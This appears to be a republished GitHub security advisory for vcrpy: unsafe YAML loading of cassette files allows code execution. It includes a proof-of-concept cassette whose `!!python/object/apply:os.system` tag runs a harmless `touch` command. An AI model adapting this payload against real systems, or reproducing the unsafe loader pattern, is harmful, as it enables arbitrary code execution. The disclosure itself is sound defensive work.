highCVSS 7.8Vulnerability

GHSA-rpj2-4hq8-938g

### Summary vcrpy deserializes YAML cassette files with PyYAML's object-constructing loader (`yaml.CLoader` / `yaml.Loader`) instead of the safe loader (`yaml.CSafeLoader` / `yaml.SafeLoader`). A cassette containing a `!!python/object/apply:` (or similar) tag therefore executes arbitrary Python code the moment the cassette is loaded — including through the normal `VCR().use_cassette()` path, before any HTTP interaction is replayed. This is **not** limited to environments lacking the libYAML C extension. `CLoader` uses the C parser but PyYAML's full Python *constructor*, so Python object tags execute under `CLoader` exactly as under the pure-Python `Loader`. Confirmed against vcrpy 8.1.1 + PyYAML 6.0.3 with `CLoader` active. ### Affected component - `vcr/serializers/yamlserializer.py` — `deserialize()` → `yaml.load(cassette_string, Loader=Loader)` where `Loader` is `CLoader`/`Loader`. Reached on **every** cassette load. - `vcr/migration.py` (~line 107) — `yaml.load(preprocess_yaml(...), Loader=Loader)`. A second sink reached when the migration tool is run on a `.yaml` file. `preprocess_yaml()` only strips three known legacy tags, so other tags still execute. Present in all releases inspected, 1.0.0 through 8.1.1. ### Proof of concept ```python import vcr, requests # Attacker-supplied cassette. The payload sits in an ignored top-level key # so the rest of the cassette stays valid; it fires during load. open("evil.yaml", "w").write("""interactions: - request: body: null headers: {Accept: ['*/*']} method: GET uri: http://example.com/ response: body: {string: ok} headers: {Content-Type: ['text/plain']} status: {code: 200, message: OK} _x: !!python/object/apply:os.system ['touch /tmp/VCRPY_YAML_RCE'] version: 1 """) with vcr.use_cassette("evil.yaml"): # <-- /tmp/VCRPY_YAML_RCE created here requests.get("http://example.com/") ``` Loading the cassette creates `/tmp/VCRPY_YAML_RCE`, demonstrating arbitrary command execution. A

Properties

ghsa_id
GHSA-rpj2-4hq8-938g
summary
VCR.py: Arbitrary code execution via unsafe YAML deserialization of cassette files
severity
high
cvss_score
7.8
cve_id
GHSA-rpj2-4hq8-938g
cvss_vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
is_ghsa_only
true
ghsa_published
2026-06-19T21:15:47Z
source_url
https://github.com/advisories/GHSA-rpj2-4hq8-938g
ghsa_updated
2026-06-19T21:15:48Z

Related Entities (4)

REPORTED_BY (1)

[Source]GitHub Advisory Database

VULNERABLE_TO (1)

[Software]pip/vcrpy

AFFECTS (1)

[Software]pip/vcrpy

HAS_WEAKNESS (1)

[Weakness]Deserialization of Untrusted Data

Explore deeper with Ninja Signal's threat intelligence graph

GHSA-rpj2-4hq8-938g (CVSS 7.8) — Ninja Signal Threat Intelligence | Ninja Signal